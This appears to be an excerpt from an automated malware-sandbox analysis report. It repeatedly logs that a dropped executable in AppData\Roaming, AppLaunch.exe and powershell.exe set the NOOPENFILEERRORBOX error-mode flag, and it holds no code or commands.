Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
